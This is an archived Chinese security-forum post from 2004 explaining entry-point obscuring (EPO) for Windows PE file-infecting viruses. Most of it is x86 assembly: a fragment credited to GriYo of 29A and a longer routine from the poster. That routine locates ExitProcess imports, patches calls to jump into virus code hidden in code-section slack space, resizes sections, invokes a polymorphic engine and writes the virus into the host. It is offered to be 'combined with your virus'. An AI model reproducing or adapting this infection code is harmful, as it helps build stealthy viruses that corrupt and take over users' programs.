邪恶八进制信息安全团队技术讨论组's Archiver

孤光剑隐 2004-9-10 15:49

[转帖]浅谈EPO技术

信息来源:CVC
一.几点基础知识
由于EPO不修改入口地址,所以要修改程序的代码,通常为了避开启发式扫描,我们会修改Call [XXXXXXXXh]之类的东西为Call [Addr of ourCode],讲个例子:
一段代码中有228738fd ff15eb0f107d  call  [7d100febh]一指令,那么我们可以把call  [7d100febh]修改成Call [我们的病毒地址]在病毒体内 我们还要再次调用Call [7d100febh]那么如何在病毒体内调用呢?
我们可以在病毒体内适当的地方留下如下的代码
dw ff15h
backaddr dd 0;这个backaddr的值可以动态的改为Call [7d100febh]的eb0f107dh
;这样子,就可以做到EPO了,至于病毒结束::就用retn就可以了(因为是Call调用;呀)
这样我们就得到了一个EPO的基本思路了,接下来我们来讲述Call [我们的病毒地址]的
"我们的病毒地址"的计算方法::
mov    eax, EmptyCodeSecRVA+ebp;EmptyCodeSecRVA是我们病毒要写到的宿主的节位置的RVA
sub    eax, edx;edx==EmptyCodeSec的地址
sub    eax, [ebx].SH_VirtualAddress;不用讲了吧?
sub    eax, 5;修正地址!!
;此时eax的内容就是"我们的病毒地址"了,KK~~~
;为什么?请看PE文件相关内容
  
看到这里你可能会说:"我们把FF15h作为特征查找,然后...",你这样想很正确,不过你想过Movax,0000ff15h这样和Call [XXXXXXXX]没任何联系的代码都会有ff15h的字样吗?
这就是为什么?EPO都是对Call SomeApi而设定的原因了,哦哦,你明白了吗?         

二.开始EPO

a.例子一::
;来自29a的GriYo,不过缺少代码,不能用
;----------------------------------------------------------------------------
;
;On entry:
;ebx -> Host base address
;ecx -> Pointer to RAW data or NULL if error
;edx -> Entry-point RVA
;esi -> Pointer to IMAGE_OPTIONAL_HEADER
;edi -> Pointer to section header
;ebp -> Virus delta offset
;
;On exit:
;ebx -> Not changed
;ecx -> Inject point offset in file or NULL if error
;
;----------------------------------------------------------------------------

example_3:mov eax,dword ptr [edi+SH_VirtualSize]
shr eax,01h
call get_rnd_range
mov edx,dword ptr [esi+OH_ImageBase]
lea esi,dword ptr [eax+ecx]
mov ecx,dword ptr [edi+SH_VirtualSize]
sub ecx,eax
search_call:push ecx
lodsw
dec esi
cmp ax,15FFh
jne NoCallOpcode
push esi
inc esi
lodsd
sub eax,edx
mov edx,eax
push esi
call RVA2RAW
pop esi
jecxz NextApe
xchg ecx,esi
lodsd
sub eax,edx
lea esi,dword ptr [eax+ebx]
lodsw
mov edx,ecx
mov ecx,00000020h
mov edi,esi
xor eax,eax
IsThisStr:scasb
jz FoundNull
loop IsThisStr
NextApe:pop esi
NoCallOpcode:pop ecx
loop search_call
ExitApe:ret;Opcode not found
FoundNull:push edx
push esi
push dword ptr [ebp+hKERNEL32]
call dword ptr [ebp+a_GetProcAddress]
pop ecx
sub ecx,ebx
sub ecx,00000006h
or eax,eax
jz NextApe
pop eax
pop eax
ret
      
      b.例子二

;我利用闲暇时间写得EPO_example,可以和你的病毒结合起来,使用前请仔细阅读代码有注释处!
;this is a code epo example,not a complete virus code...some parts are left for you to code.
;after Call getdelta
;lea    eax, nKernel32+ebp
;push   eax
;dw    15FFh        ; Call [var containing offset GetModuleHandle]
;GetModHandleAddy dd    0
;
;
;Entry
; eax==the map of the file

EPO_Example:
     mov    esi, eax
     movzx  ecx, word ptr [eax+3Ch]
     add    eax, ecx
     xchg   eax, edi
     mov    eax, dword ptr [edi].OH_DataDirectory+8
     call   RVA2Addr
;我们先要找到Exitprocess和GetMoudleHandle在宿主文件中的RAV地址(不同的程序地址会有所不一样)。
ImportLoop:
     cmp    [eax].ID_Characteristics, 0
     je    Error              
     xchg   eax, edx
     mov    eax, [edx].ID_Name
     call   RVA2Addr
     cmp    dword ptr [eax], 'NREK'
     jne    short TryNextImport
     cmp    dword ptr [eax+4], '23LE'
     je    short FoundKernel
TryNextImport:
     lea    eax, [edx + size IMAGE_IMPORT_DESCRIPTOR]
     jmp    ImportLoop

FoundKernel:              ;查找"ExitProcess" 和 "GetModuleHandle"字符
     mov    eax, [edx].ID_Characteristics
     or    eax,eax
     jne    short HNAExists
     mov    eax, [edx].ID_FirstThunk
HNAExists:
     call   RVA2Addr
     mov    ebx, eax
     mov    edi, [edx].ID_FirstThunk
     xor    edx,edx            

FindImportFunction:
     mov    eax, [ebx]
     or    eax,eax
     je    short DoneImports     
     js    short NotGetModuleHandle
     call   RVA2Addr
     inc    eax
     inc    eax
     xchg   eax, edi

     test   dl, 1             ; 找到了?
     jnz    short NotExitProcess
     mov    ecx, 12
     push   esi
     push   edi
     lea    esi, nExitProcess+ebp
     repz   cmpsb
     pop    edi
     pop    esi
     jne    short NotExitProcess
     or    dl, 1             ; 标记一下
     mov    ExitProcessRVA+ebp, eax ; 保存
NotExitProcess:
     test   dl, 2            
     jnz    short NotGetModuleHandle
     mov    ecx, 17
     push   esi
     push   edi
     lea    esi, nGetModuleHandle+ebp
     rep    cmpsb
     pop    edi
     pop    esi
     jne    short NotGetModuleHandle
     or    dl, 2
     mov    GetModuleHandleRVA+ebp, eax
NotGetModuleHandle:
     xchg   eax, edi
     add    ebx, 4            ; 查找下一个函数
     add    edi, 4            
     jmp    FindImportFunction

DoneImports:
     cmp    dl, 3             ; 两个都找到了?
     jne    Error

     movzx  ebx, word ptr [esi+3Ch]
     add    ebx, esi
     mov    edi, ebx           ; edi= PE Header offset
     movzx  ecx, [ebx].OH_NumberOfSections
     movzx  edx, word ptr [ebx].OH_SizeOfOptionalHeader
     lea    edx, [ebx+edx+18h]

; Get Last Section
     push   ecx
     push   edx
     mov    eax, [edx].SH_PointerToRawData
     mov    ebx, edx
LastSectionLoop:
     cmp    eax, [edx].SH_PointerToRawData
     jae    short NotLastSection
     mov    eax, [edx].SH_PointerToRawData
     mov    ebx, edx
NotLastSection:
     add    edx, size IMAGE_SECTION_HEADER
     loop   LastSectionLoop
     mov    LastSectionEntryPtr+ebp, ebx
     pop    edx
     pop    ecx

; Get Biggest Writable Data Section
     push   ecx
     push   edx
     xor    eax, eax      
DataSectionLoop:
     test   byte ptr [edx].SH_Characteristics+3, 80h ;段节是否可写?
     jz    short NextDataSec
     cmp    eax, [edx].SH_VirtualSize
     jae    short NextDataSec
     mov    eax, [edx].SH_VirtualSize
     mov    ebx, edx
NextDataSec:
     add    edx, size IMAGE_SECTION_HEADER
     loop   DataSectionLoop
     pop    edx
     pop    ecx

     mov    DataSectionEntryPtr+ebp, ebx

     cmp    eax, offset (VEnd-Virus)*2
     jnb    short DataSectionSizePass

     mov    ebx, [edi].OH_SectionAlignment
     dec    ebx
     add    eax, ebx
     not    ebx
     and    eax, ebx
     cmp    eax, offset (VEnd-Virus)*2
     jb    Error
DataSectionSizePass:
     mov    NewVirtualSizeOfData+ebp, eax
     xor    ebx, ebx
FindCodeSection:
     test   [edx].SH_Characteristics, 0E0000020h
     jz    short NotACodeSection
     test   byte ptr [edx].SH_Characteristics+3, 80h
     jnz    Error
     or    ebx,ebx
     jnz    Error
     mov    ebx, edx
NotACodeSection:
     add    edx, size IMAGE_SECTION_HEADER
     loop   FindCodeSection
     mov    edx, [ebx].SH_PointerToRawData
     add    edx, esi
     cmp    [ebx].SH_SizeOfRawData, 1000h
     jb    Error
     xor    ecx,ecx
     mov    FoundExitCall+ebp, ecx
     mov    ecx, [edi].OH_FileAlignment
     dec    ecx
     test   [ebx].SH_VirtualSize, ecx
     jz    short ProbablyTLINK
     mov    eax, [ebx].SH_VirtualSize
     add    edx, eax
     push   eax
     and    eax, ecx
     inc    ecx
     sub    ecx, eax
     pop    eax
     add    eax, [ebx].SH_PointerToRawData
     cmp    ecx, 50
     jb    Error
; Now:
;  - RVA      -done (eax)
;  - RawAddy    -done (edx)
;  - SizeOfSpace -done (ecx)
     mov    EmptyCodeSecRVA+ebp, eax
     mov    EmptyCodeSecAddr+ebp, edx
     mov    EmptyCodeSecSize+ebp, ecx

; Now we search .text for either:
;  - EE 15  (call [address])
;  - FF 25  (jmp  [address])

     mov    ecx, [ebx].SH_SizeOfRawData
     sub    ecx, 5            
     push   esi
     mov    eax, [ebx].SH_PointerToRawData
     add    eax, esi
     xchg   eax, esi
     xor    edx, edx           
LinkFindJump:
     cmp    word ptr [esi+edx], 15FFh
     jne    short LinkJumpNotFound

     mov    eax, dword ptr [esi+edx+2]
     sub    eax, [edi].OH_ImageBase
     cmp    eax, ExitProcessRVA+ebp
     jne    short LinkJumpNotFound

     mov    eax, EmptyCodeSecRVA+ebp
     sub    eax, edx
     sub    eax, [ebx].SH_VirtualAddress
     sub    eax, 5
     mov    byte ptr [esi+edx], 0E9h      ;0e9h is the opcode of jump
     mov    dword ptr [esi+edx+1], eax
     inc    FoundExitCall+ebp
LinkJumpNotFound:
     inc    edx
     cmp    edx, ecx
     jb    LinkFindJump
     pop    esi
     jmp    HaveCSInfo
ProbablyTLINK:
     add    edx, [ebx].SH_SizeOfRawData
     inc    ecx
ScanSpaceBackWard:
     dec    edx
     cmp    byte ptr [edx], 0
     jne    short FoundActualCode
     loop   ScanSpaceBackWard
     jmp    Error        
FoundActualCode:
     add    edx, 5            ; edx= Raw Adrress of free space
     add    ecx, 4
     sub    ecx, [edi].OH_FileAlignment
     neg    ecx              ; ecx= size of free space
     mov    eax, [ebx].SH_VirtualAddress
     add    eax, [ebx].SH_SizeOfRawData
     sub    eax, ecx
     cmp    ecx, 50
     jb    Error
     mov    EmptyCodeSecRVA+ebp, eax
     mov    EmptyCodeSecAddr+ebp, edx
     mov    EmptyCodeSecSize+ebp, ecx
     mov    ecx, [ebx].SH_SizeOfRawData
     sub    ecx, 5            
     push   esi
     mov    eax, [ebx].SH_PointerToRawData
     add    eax, esi
     xchg   eax, esi
     xor    edx, edx           
TLinkFindJump:
     cmp    word ptr [esi+edx], 25FFh
     jne    short TLinkJumpNotFound
     mov    eax, dword ptr [esi+edx+2]
     sub    eax, [edi].OH_ImageBase
     cmp    eax, ExitProcessRVA+ebp
     jne    short TLinkJumpNotFound
     mov    eax, EmptyCodeSecRVA+ebp
     sub    eax, edx
     sub    eax, [ebx].SH_VirtualAddress
     sub    eax, 5
     mov    byte ptr [esi+edx], 0E9h      
     mov    dword ptr [esi+edx+1], eax
     inc    FoundExitCall+ebp
TLinkJumpNotFound:
     inc    edx
     cmp    edx, ecx
     jb    TLinkFindJump
     pop    esi
HaveCSInfo:
     cmp    FoundExitCall+ebp, 0
     je    Error

     mov    eax, GetModuleHandleRVA+ebp   
     add    eax, [edi].OH_ImageBase
     mov    GetModHandleAddy+ebp, eax
     mov    eax, ExitProcessRVA+ebp      
     add    eax, [edi].OH_ImageBase        
     mov    EmergencyExitAddy+ebp, eax   

     mov    edx, DataSectionEntryPtr+ebp   
     mov    eax, NewVirtualSizeOfData+ebp  
     mov    [edx].SH_VirtualSize, eax   
     pushad
     Call Mute_Poly_Engine ;变体引擎
     popad
     Call Set_pp      
     mov    edx, LastSectionEntryPtr+ebp   ; 节大小调整
     mov    ecx, [edi].OH_FileAlignment
     mov    eax, [edx].SH_SizeOfRawData
     mov    esi, eax                ; esi= size of last section
     add    eax, ebp+NewVIRUSSIZE
     push   eax
     dec    ecx
     add    eax, ecx
     not    ecx
     and    eax, ecx                ; eax= Aligned raw size of last section
     mov    [edx].SH_SizeOfRawData, eax
     pop    eax                    
     mov    ecx, [edi].OH_SectionAlignment
     dec    ecx
     add    eax, ecx
     not    ecx
     push   ecx
     and    eax, ecx
     mov    ecx, [edx].SH_VirtualSize   
     mov    [edx].SH_VirtualSize, eax   
     sub    eax, ecx               
     pop    ecx                    
     and    eax, ecx               
     add    [edi].OH_SizeOfImage, eax      
     mov    ecx, LastSectionEntryPtr+ebp
     mov    ebx, [ecx].SH_PointerToRawData
     add    ebx, esi
     mov    eax,ebp+NewVIRUSSIZE-1
     mov    edi, [edi].OH_FileAlignment
     add    eax, edi
     neg    edi
     and    edi, eax
     Call   WriteVirusCodeToFile ;代码写入宿主

Error:
    retn
   

; Enter
;  eax = RVA
;  esi = Start Of Memory mapped PE file.
; Leave:
;  eax = Mem map Address
RVA2Addr:
     push   ebx
     push   edx
     push   ecx
     push   esi
     push   edi
     movzx  edi, word ptr [esi+3Ch]
     add    edi, esi
     movzx  edx, [edi].OH_SizeOfOptionalHeader
     movzx  ecx, [edi].OH_NumberOfSections
     lea    edx, [edi+edx+18h]         
     mov    ebx, [edx].OH_VirtualAddress
     mov    esi, [edx].OH_PointerToRawData
SectionLoop1:
     cmp    ebx, [edx].OH_VirtualAddress
     jae    short SkipSecLoop1
     cmp    eax, [edx].OH_VirtualAddress
     jb    short SkipSecLoop1
     mov    ebx, [edx].OH_VirtualAddress
     mov    esi, [edx].OH_PointerToRawData
SkipSecLoop1:
     add    edx, size IMAGE_SECTION_HEADER
     loop   SectionLoop1
     sub    eax, ebx
     add    eax, esi
     pop    edi
     pop    esi
     add    eax, esi
     pop    ecx
     pop    edx
     pop    ebx
     ret

EPO_table_data:
nKernel32          db    'Kernel32',0
nExitProcess        db    'ExitProcess',0
nGetModuleHandle      db    'GetModuleHandleA',0
NewVirusSize        dd    ?
NumOfNames          dd    ?
ExitProcessRVA       dd    ?
GetModuleHandleRVA    dd    ?
NewVirtualSizeOfData   dd    ?
EmptyCodeSecRVA      dd    ?
EmptyCodeSecAddr      dd    ?
EmptyCodeSecSize      dd    ?
LastSectionEntryPtr    dd    ?
DataSectionEntryPtr    dd    ?
BytesWritten        dd    ?
FoundExitCall        dd    ?
EPO_table_data_end:

页: [1]
© 1999-2008 EvilOctal Security Team